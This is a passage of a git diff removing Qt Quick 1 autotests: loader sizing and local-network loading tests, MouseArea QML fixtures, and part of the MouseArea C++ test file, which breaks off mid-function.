QCOMPARE(rect->width(), 200.0); - rect->setWidth(100.0); // when rect changes ... - QCOMPARE(rect->width(), 100.0); // ... it changes - QCOMPARE(loader->width(), 200.0); // ... but loader stays the same - - // Check explicit height - loader->setHeight(200.0); - QCOMPARE(loader->height(), 200.0); - QCOMPARE(rect->height(), 200.0); - rect->setHeight(100.0); // when rect changes ... - QCOMPARE(rect->height(), 100.0); // ... it changes - QCOMPARE(loader->height(), 200.0); // ... but loader stays the same - - // Switch mode - loader->setWidth(180); - loader->setHeight(30); - QCOMPARE(rect->width(), 180.0); - QCOMPARE(rect->height(), 30.0); - - delete loader; -} - -void tst_QDeclarative1Loader::sizeItemToLoader() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/SizeToLoader.qml")); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - QCOMPARE(loader->width(), 200.0); - QCOMPARE(loader->height(), 80.0); - - QDeclarativeItem *rect = qobject_cast(loader->item()); - QVERIFY(rect); - QCOMPARE(rect->width(), 200.0); - QCOMPARE(rect->height(), 80.0); - - // Check resize - loader->setWidth(180); - loader->setHeight(30); - QCOMPARE(rect->width(), 180.0); - QCOMPARE(rect->height(), 30.0); - - // Switch mode - loader->resetWidth(); // reset explicit size - loader->resetHeight(); - rect->setWidth(160); - rect->setHeight(45); - QCOMPARE(loader->width(), 160.0); - QCOMPARE(loader->height(), 45.0); - - delete loader; -} - -void tst_QDeclarative1Loader::noResize() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/NoResize.qml")); - QDeclarativeItem* item = qobject_cast(component.create()); - QVERIFY(item != 0); - QCOMPARE(item->width(), 200.0); - QCOMPARE(item->height(), 80.0); - - delete item; -} - -void tst_QDeclarative1Loader::sizeLoaderToGraphicsWidget() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/SizeLoaderToGraphicsWidget.qml")); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QGraphicsScene scene; - scene.addItem(loader); - - QVERIFY(loader != 0); - QCOMPARE(loader->width(), 250.0); - QCOMPARE(loader->height(), 250.0); - - // Check resize - QGraphicsWidget *widget = qobject_cast(loader->item()); - QVERIFY(widget); - widget->resize(QSizeF(150,45)); - QCOMPARE(loader->width(), 150.0); - QCOMPARE(loader->height(), 45.0); - - // Switch mode - loader->setWidth(180); - loader->setHeight(30); - QCOMPARE(widget->size().width(), 180.0); - QCOMPARE(widget->size().height(), 30.0); - - delete loader; -} - -void tst_QDeclarative1Loader::sizeGraphicsWidgetToLoader() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/SizeGraphicsWidgetToLoader.qml")); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QGraphicsScene scene; - scene.addItem(loader); - - QVERIFY(loader != 0); - QCOMPARE(loader->width(), 200.0); - QCOMPARE(loader->height(), 80.0); - - QGraphicsWidget *widget = qobject_cast(loader->item()); - QVERIFY(widget); - QCOMPARE(widget->size().width(), 200.0); - QCOMPARE(widget->size().height(), 80.0); - - // Check resize - loader->setWidth(180); - loader->setHeight(30); - QCOMPARE(widget->size().width(), 180.0); - QCOMPARE(widget->size().height(), 30.0); - - // Switch mode - loader->resetWidth(); // reset explicit size - loader->resetHeight(); - widget->resize(QSizeF(160,45)); - QCOMPARE(loader->width(), 160.0); - QCOMPARE(loader->height(), 45.0); - - delete loader; -} - -void tst_QDeclarative1Loader::noResizeGraphicsWidget() -{ - QDeclarativeComponent component(&engine, TEST_FILE("/NoResizeGraphicsWidget.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QGraphicsScene scene; - scene.addItem(item); - - QVERIFY(item != 0); - QCOMPARE(item->width(), 200.0); - QCOMPARE(item->height(), 80.0); - - delete item; -} - -void tst_QDeclarative1Loader::networkRequestUrl() -{ - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nLoader { property int signalCount : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: signalCount += 1 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml")); - if (component.isError()) - qDebug() << component.errors(); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - - QTRY_VERIFY(loader->status() == QDeclarative1Loader::Ready); - - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(loader->property("signalCount").toInt(), 1); - QCOMPARE(static_cast(loader)->children().count(), 1); - - delete loader; -} - -/* XXX Component waits until all dependencies are loaded. Is this actually possible? -void tst_QDeclarative1Loader::networkComponent() -{ - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory("slowdata", TestHTTPServer::Delay); - - QDeclarativeComponent component(&engine); - component.setData(QByteArray( - "import QtQuick 1.0\n" - "import \"http://127.0.0.1:14450/\" as NW\n" - "Item {\n" - " Component { id: comp; NW.SlowRect {} }\n" - " Loader { sourceComponent: comp } }") - , TEST_FILE("")); - - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - QDeclarative1Loader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); - QVERIFY(loader); - QTRY_VERIFY(loader->status() == QDeclarative1Loader::Ready); - - QVERIFY(loader->item()); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(loader->status(), QDeclarative1Loader::Ready); - QCOMPARE(static_cast(loader)->children().count(), 1); - - delete loader; -} -*/ - -void tst_QDeclarative1Loader::failNetworkRequest() -{ - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QTest::ignoreMessage(QtWarningMsg, "http://127.0.0.1:14450/IDontExist.qml: File not found"); - - QDeclarativeComponent component(&engine); - component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load: 123; source: \"http://127.0.0.1:14450/IDontExist.qml\"; onLoaded: did_load=456 }"), QUrl::fromLocalFile("http://127.0.0.1:14450/dummy.qml")); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader != 0); - - QTRY_VERIFY(loader->status() == QDeclarative1Loader::Error); - - QVERIFY(loader->item() == 0); - QCOMPARE(loader->progress(), 0.0); - QCOMPARE(loader->property("did_load").toInt(), 123); - QCOMPARE(static_cast(loader)->children().count(), 0); - - delete loader; -} - -// QTBUG-9241 -void tst_QDeclarative1Loader::deleteComponentCrash() -{ - QDeclarativeComponent component(&engine, TEST_FILE("crash.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - item->metaObject()->invokeMethod(item, "setLoaderSource"); - - QDeclarative1Loader *loader = qobject_cast(item->QGraphicsObject::children().at(0)); - QVERIFY(loader); - QVERIFY(loader->item()); - QCOMPARE(loader->item()->objectName(), QLatin1String("blue")); - QCOMPARE(loader->progress(), 1.0); - QCOMPARE(loader->status(), QDeclarative1Loader::Ready); - QCOMPARE(static_cast(loader)->children().count(), 1); - QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml")); - - delete item; -} - -void tst_QDeclarative1Loader::nonItem() -{ - QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml")); - QString err = QUrl::fromLocalFile(SRCDIR).toString() + "/data/nonItem.qml:3:1: QML Loader: Loader does not support loading non-visual elements."; - - QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader); - QVERIFY(loader->item() == 0); - - delete loader; -} - -void tst_QDeclarative1Loader::vmeErrors() -{ - QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml")); - QString err = QUrl::fromLocalFile(SRCDIR).toString() + "/data/VmeError.qml:6: Cannot assign object type QObject with no default method"; - QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); - QDeclarative1Loader *loader = qobject_cast(component.create()); - QVERIFY(loader); - QVERIFY(loader->item() == 0); - - delete loader; -} - -// QTBUG-13481 -void tst_QDeclarative1Loader::creationContext() -{ - QDeclarativeComponent component(&engine, TEST_FILE("creationContext.qml")); - - QObject *o = component.create(); - QVERIFY(o != 0); - - QCOMPARE(o->property("test").toBool(), true); - - delete o; -} - -void tst_QDeclarative1Loader::QTBUG_16928() -{ - QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_16928.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - QCOMPARE(item->width(), 250.); - QCOMPARE(item->height(), 250.); - - delete item; -} - -void tst_QDeclarative1Loader::implicitSize() -{ - QDeclarativeComponent component(&engine, TEST_FILE("implicitSize.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - QCOMPARE(item->width(), 150.); - QCOMPARE(item->height(), 150.); - - QCOMPARE(item->property("implHeight").toReal(), 100.); - QCOMPARE(item->property("implWidth").toReal(), 100.); - - delete item; -} - -void tst_QDeclarative1Loader::QTBUG_17114() -{ - QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_17114.qml")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - - QCOMPARE(item->property("loaderWidth").toReal(), 32.); - QCOMPARE(item->property("loaderHeight").toReal(), 32.); - - delete item; -} - -QTEST_MAIN(tst_QDeclarative1Loader) - -#include "tst_qdeclarativeloader.moc" diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/clickandhold.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/clickandhold.qml deleted file mode 100644 index a6409e2e31..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/clickandhold.qml +++ /dev/null @@ -1,13 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root - property bool clicked: false - property bool held: false - - MouseArea { - width: 200; height: 200 - onClicked: { root.clicked = true } - onPressAndHold: { root.held = true } - } -} diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/clicktwice.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/clicktwice.qml deleted file mode 100644 index c6b1f8992a..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/clicktwice.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root - property int clicked: 0 - property int pressed: 0 - property int released: 0 - - MouseArea { - width: 200; height: 200 - onPressed: { root.pressed++ } - onClicked: { root.clicked++ } - onReleased: { root.released++ } - } -} - diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/doubleclick.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/doubleclick.qml deleted file mode 100644 index 55b0812e48..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/doubleclick.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root - property int clicked: 0 - property int doubleClicked: 0 - property int released: 0 - - MouseArea { - width: 200; height: 200 - onClicked: { root.clicked++ } - onDoubleClicked: { root.doubleClicked++ } - onReleased: { root.released++ } - } -} - diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/dragging.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/dragging.qml deleted file mode 100644 index dd89efb5ab..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/dragging.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: whiteRect - width: 200 - height: 200 - color: "white" - Rectangle { - id: blackRect - objectName: "blackrect" - color: "black" - y: 50 - x: 50 - width: 100 - height: 100 - opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200 - Text { text: blackRect.opacity} - MouseArea { - objectName: "mouseregion" - anchors.fill: parent - drag.target: blackRect - drag.axis: Drag.XandYAxis - drag.minimumX: 0 - drag.maximumX: whiteRect.width-blackRect.width - drag.minimumY: 0 - drag.maximumY: whiteRect.height-blackRect.height - } - } - } diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/dragproperties.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/dragproperties.qml deleted file mode 100644 index 7baefd5ded..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/dragproperties.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: whiteRect - width: 200 - height: 200 - color: "white" - Rectangle { - id: blackRect - objectName: "blackrect" - color: "black" - y: 50 - x: 50 - width: 100 - height: 100 - opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200 - Text { text: blackRect.opacity} - MouseArea { - objectName: "mouseregion" - anchors.fill: parent - drag.target: blackRect - drag.axis: Drag.XandYAxis - drag.minimumX: 0 - drag.maximumX: whiteRect.width-blackRect.width - drag.minimumY: 0 - drag.maximumY: whiteRect.height-blackRect.height - } - } - } diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/dragreset.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/dragreset.qml deleted file mode 100644 index c6d2e204b2..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/dragreset.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 -Rectangle { - id: whiteRect - width: 200 - height: 200 - color: "white" - Rectangle { - id: blackRect - objectName: "blackrect" - color: "black" - y: 50 - x: 50 - width: 100 - height: 100 - opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200 - Text { text: blackRect.opacity} - MouseArea { - objectName: "mouseregion" - anchors.fill: parent - drag.target: haveTarget ? blackRect : undefined - drag.axis: Drag.XandYAxis - drag.minimumX: 0 - drag.maximumX: whiteRect.width-blackRect.width - drag.minimumY: 0 - drag.maximumY: whiteRect.height-blackRect.height - } - } - } diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/pressedOrdering.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/pressedOrdering.qml deleted file mode 100644 index 4a80e83465..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/pressedOrdering.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root - property string value: "base" - - MouseArea { - id: mouseArea - width: 200; height: 200 - onClicked: toggleState.state = "toggled" - } - - StateGroup { - states: State { - name: "pressed" - when: mouseArea.pressed - PropertyChanges { target: root; value: "pressed" } - } - } - - StateGroup { - id: toggleState - states: State { - name: "toggled" - PropertyChanges { target: root; value: "toggled" } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/preventContextMenu.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/preventContextMenu.qml deleted file mode 100644 index dcbb5d766e..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/preventContextMenu.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.1 -import Test 1.0 - -Item { - width: 200 - height: 200 - - property alias mouseAreaEnabled: mouseArea.enabled - property alias eventsReceived: receiver.eventCount - - ContextMenuEventReceiver { - id: receiver - anchors.fill: parent - } - - MouseArea { - id: mouseArea - anchors.fill: parent - acceptedButtons: Qt.LeftButton | Qt.MiddleButton | Qt.RightButton - enabled: true - } -} diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/preventstealing.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/preventstealing.qml deleted file mode 100644 index 11553fadaf..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/preventstealing.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.1 - -Flickable { - property bool stealing: true - width: 200 - height: 200 - contentWidth: 400 - contentHeight: 400 - Rectangle { - color: "black" - width: 400 - height: 400 - Rectangle { - x: 50; y: 50 - width: 100; height: 100 - color: "steelblue" - MouseArea { - objectName: "mousearea" - anchors.fill: parent - preventStealing: stealing - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/rejectEvent.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/rejectEvent.qml deleted file mode 100644 index fc8292d703..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/rejectEvent.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: root - color: "#ffffff" - width: 320; height: 240 - property bool mr1_pressed: false - property bool mr1_released: false - property bool mr1_canceled: false - property bool mr2_pressed: false - property bool mr2_released: false - property bool mr2_canceled: false - - MouseArea { - id: mouseRegion1 - anchors.fill: parent - onPressed: { root.mr1_pressed = true } - onReleased: { root.mr1_released = true } - onCanceled: { root.mr1_canceled = true } - } - MouseArea { - id: mouseRegion2 - width: 120; height: 120 - onPressed: { root.mr2_pressed = true; mouse.accepted = false } - onReleased: { root.mr2_released = true } - onCanceled: { root.mr2_canceled = true } - } -} diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/updateMousePosOnClick.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/updateMousePosOnClick.qml deleted file mode 100644 index b77f7431c6..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/updateMousePosOnClick.qml +++ /dev/null @@ -1,20 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "#ffffff" - width: 320; height: 240 - MouseArea { - id: mouseRegion - objectName: "mouseregion" - anchors.fill: parent - Rectangle { - id: ball - objectName: "ball" - width: 20; height: 20 - radius: 10 - color: "#0000ff" - x: { mouseRegion.mouseX } - y: mouseRegion.mouseY - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativemousearea/data/updateMousePosOnResize.qml b/tests/auto/qtquick1/qdeclarativemousearea/data/updateMousePosOnResize.qml deleted file mode 100644 index 6571d8b12d..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/data/updateMousePosOnResize.qml +++ /dev/null @@ -1,38 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - color: "#ffffff" - width: 320; height: 240 - Rectangle { - id: brother - objectName: "brother" - color: "lightgreen" - x: 200; y: 100 - width: 120; height: 120 - } - MouseArea { - id: mouseRegion - objectName: "mouseregion" - - property int x1 - property int y1 - property int x2 - property int y2 - property bool emitPositionChanged: false - property bool mouseMatchesPos: true - - anchors.fill: brother - onPressed: { - if (mouse.x != mouseX || mouse.y != mouseY) - mouseMatchesPos = false - x1 = mouseX; y1 = mouseY - anchors.fill = parent - } - onPositionChanged: { emitPositionChanged = true } - onMousePositionChanged: { - if (mouse.x != mouseX || mouse.y != mouseY) - mouseMatchesPos = false - x2 = mouseX; y2 = mouseY - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativemousearea/qdeclarativemousearea.pro b/tests/auto/qtquick1/qdeclarativemousearea/qdeclarativemousearea.pro deleted file mode 100644 index 6f426c50c5..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/qdeclarativemousearea.pro +++ /dev/null @@ -1,12 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativemousearea -macx:CONFIG -= app_bundle - -HEADERS += ../../shared/testhttpserver.h -SOURCES += tst_qdeclarativemousearea.cpp ../../shared/testhttpserver.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativemousearea/tst_qdeclarativemousearea.cpp b/tests/auto/qtquick1/qdeclarativemousearea/tst_qdeclarativemousearea.cpp deleted file mode 100644 index 4715293fd4..0000000000 --- a/tests/auto/qtquick1/qdeclarativemousearea/tst_qdeclarativemousearea.cpp +++ /dev/null @@ -1,700 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_QDeclarative1MouseArea: public QObject -{ - Q_OBJECT -private slots: - void dragProperties(); - void resetDrag(); - void dragging(); - void updateMouseAreaPosOnClick(); - void updateMouseAreaPosOnResize(); - void noOnClickedWithPressAndHold(); - void onMousePressRejected(); - void doubleClick(); - void clickTwice(); - void pressedOrdering(); - void preventStealing(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); -#ifndef QT_NO_CONTEXTMENU - void preventContextMenu(); -#endif // QT_NO_CONTEXTMENU - -private: - QDeclarativeView *createView(); -}; - -void tst_QDeclarative1MouseArea::dragProperties() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragproperties.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1MouseArea *mouseRegion = canvas->rootObject()->findChild("mouseregion"); - QDeclarative1Drag *drag = mouseRegion->drag(); - QVERIFY(mouseRegion != 0); - QVERIFY(drag != 0); - - // target - QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); - QVERIFY(blackRect != 0); - QVERIFY(blackRect == drag->target()); - QDeclarativeItem *rootItem = qobject_cast(canvas->rootObject()); - QVERIFY(rootItem != 0); - QSignalSpy targetSpy(drag, SIGNAL(targetChanged())); - drag->setTarget(rootItem); - QCOMPARE(targetSpy.count(),1); - drag->setTarget(rootItem); - QCOMPARE(targetSpy.count(),1); - - // axis - QCOMPARE(drag->axis(), QDeclarative1Drag::XandYAxis); - QSignalSpy axisSpy(drag, SIGNAL(axisChanged())); - drag->setAxis(QDeclarative1Drag::XAxis); - QCOMPARE(drag->axis(), QDeclarative1Drag::XAxis); - QCOMPARE(axisSpy.count(),1); - drag->setAxis(QDeclarative1Drag::XAxis); - QCOMPARE(axisSpy.count(),1); - - // minimum and maximum properties - QSignalSpy xminSpy(drag, SIGNAL(minimumXChanged())); - QSignalSpy xmaxSpy(drag, SIGNAL(maximumXChanged())); - QSignalSpy yminSpy(drag, SIGNAL(minimumYChanged())); - QSignalSpy ymaxSpy(drag, SIGNAL(maximumYChanged())); - - QCOMPARE(drag->xmin(), 0.0); - QCOMPARE(drag->xmax(), rootItem->width()-blackRect->width()); - QCOMPARE(drag->ymin(), 0.0); - QCOMPARE(drag->ymax(), rootItem->height()-blackRect->height()); - - drag->setXmin(10); - drag->setXmax(10); - drag->setYmin(10); - drag->setYmax(10); - - QCOMPARE(drag->xmin(), 10.0); - QCOMPARE(drag->xmax(), 10.0); - QCOMPARE(drag->ymin(), 10.0); - QCOMPARE(drag->ymax(), 10.0); - - QCOMPARE(xminSpy.count(),1); - QCOMPARE(xmaxSpy.count(),1); - QCOMPARE(yminSpy.count(),1); - QCOMPARE(ymaxSpy.count(),1); - - drag->setXmin(10); - drag->setXmax(10); - drag->setYmin(10); - drag->setYmax(10); - - QCOMPARE(xminSpy.count(),1); - QCOMPARE(xmaxSpy.count(),1); - QCOMPARE(yminSpy.count(),1); - QCOMPARE(ymaxSpy.count(),1); - - // filterChildren - QSignalSpy filterChildrenSpy(drag, SIGNAL(filterChildrenChanged())); - - drag->setFilterChildren(true); - - QVERIFY(drag->filterChildren()); - QCOMPARE(filterChildrenSpy.count(), 1); - - drag->setFilterChildren(true); - QCOMPARE(filterChildrenSpy.count(), 1); - - delete canvas; -} - -void tst_QDeclarative1MouseArea::resetDrag() -{ - QDeclarativeView *canvas = createView(); - - canvas->rootContext()->setContextProperty("haveTarget", QVariant(true)); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragreset.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1MouseArea *mouseRegion = canvas->rootObject()->findChild("mouseregion"); - QDeclarative1Drag *drag = mouseRegion->drag(); - QVERIFY(mouseRegion != 0); - QVERIFY(drag != 0); - - // target - QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); - QVERIFY(blackRect != 0); - QVERIFY(blackRect == drag->target()); - QDeclarativeItem *rootItem = qobject_cast(canvas->rootObject()); - QVERIFY(rootItem != 0); - QSignalSpy targetSpy(drag, SIGNAL(targetChanged())); - QVERIFY(drag->target() != 0); - canvas->rootContext()->setContextProperty("haveTarget", QVariant(false)); - QCOMPARE(targetSpy.count(),1); - QVERIFY(drag->target() == 0); - - delete canvas; -} - - -void tst_QDeclarative1MouseArea::dragging() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragging.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1MouseArea *mouseRegion = canvas->rootObject()->findChild("mouseregion"); - QDeclarative1Drag *drag = mouseRegion->drag(); - QVERIFY(mouseRegion != 0); - QVERIFY(drag != 0); - - // target - QDeclarativeItem *blackRect = canvas->rootObject()->findChild("blackrect"); - QVERIFY(blackRect != 0); - QVERIFY(blackRect == drag->target()); - - QVERIFY(!drag->active()); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress); - pressEvent.setScenePos(QPointF(100, 100)); - pressEvent.setButton(Qt::LeftButton); - pressEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &pressEvent); - - QVERIFY(!drag->active()); - QCOMPARE(blackRect->x(), 50.0); - QCOMPARE(blackRect->y(), 50.0); - - // First move event triggers drag, second is acted upon. - // This is due to possibility of higher stacked area taking precedence. - QGraphicsSceneMouseEvent moveEvent(QEvent::GraphicsSceneMouseMove); - moveEvent.setScenePos(QPointF(106, 106)); - moveEvent.setButton(Qt::LeftButton); - moveEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &moveEvent); - - moveEvent.setScenePos(QPointF(110, 110)); - moveEvent.setButton(Qt::LeftButton); - moveEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &moveEvent); - - QVERIFY(drag->active()); - QCOMPARE(blackRect->x(), 60.0); - QCOMPARE(blackRect->y(), 60.0); - - QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease); - releaseEvent.setScenePos(QPointF(110, 110)); - releaseEvent.setButton(Qt::LeftButton); - releaseEvent.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &releaseEvent); - - QVERIFY(!drag->active()); - QCOMPARE(blackRect->x(), 60.0); - QCOMPARE(blackRect->y(), 60.0); - - delete canvas; -} - -QDeclarativeView *tst_QDeclarative1MouseArea::createView() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - return canvas; -} - -void tst_QDeclarative1MouseArea::updateMouseAreaPosOnClick() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/updateMousePosOnClick.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1MouseArea *mouseRegion = canvas->rootObject()->findChild("mouseregion"); - QVERIFY(mouseRegion != 0); - - QDeclarative1Rectangle *rect = canvas->rootObject()->findChild("ball"); - QVERIFY(rect != 0); - - QCOMPARE(mouseRegion->mouseX(), rect->x()); - QCOMPARE(mouseRegion->mouseY(), rect->y()); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent event(QEvent::GraphicsSceneMousePress); - event.setScenePos(QPointF(100, 100)); - event.setButton(Qt::LeftButton); - event.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &event); - - QCOMPARE(mouseRegion->mouseX(), 100.0); - QCOMPARE(mouseRegion->mouseY(), 100.0); - - QCOMPARE(mouseRegion->mouseX(), rect->x()); - QCOMPARE(mouseRegion->mouseY(), rect->y()); - - delete canvas; -} - -void tst_QDeclarative1MouseArea::updateMouseAreaPosOnResize() -{ - QDeclarativeView *canvas = createView(); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/updateMousePosOnResize.qml")); - canvas->show(); - canvas->setFocus(); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1MouseArea *mouseRegion = canvas->rootObject()->findChild("mouseregion"); - QVERIFY(mouseRegion != 0); - - QDeclarative1Rectangle *rect = canvas->rootObject()->findChild("brother"); - QVERIFY(rect != 0); - - QCOMPARE(mouseRegion->mouseX(), 0.0); - QCOMPARE(mouseRegion->mouseY(), 0.0); - - QGraphicsScene *scene = canvas->scene(); - QGraphicsSceneMouseEvent event(QEvent::GraphicsSceneMousePress); - event.setScenePos(rect->pos()); - event.setButton(Qt::LeftButton); - event.setButtons(Qt::LeftButton); - QApplication::sendEvent(scene, &event); - - QVERIFY(!mouseRegion->property("emitPositionChanged").toBool()); - QVERIFY(mouseRegion->property("mouseMatchesPos").toBool()); - - QCOMPARE(mouseRegion->property("x1").toInt(), 0); - QCOMPARE(mouseRegion->property("y1").toInt(), 0); - - // XXX: is it on purpose that mouseX is real and mouse.x is int? - QCOMPARE(mouseRegion->property("x2").toInt(), (int) rect->x()); - QCOMPARE(mouseRegion->property("y2").toInt(), (int) rect->y()); - - QCOMPARE(mouseRegion->mouseX(), rect->x()); - QCOMPARE(mouseRegion->mouseY(), rect->y()); - - delete 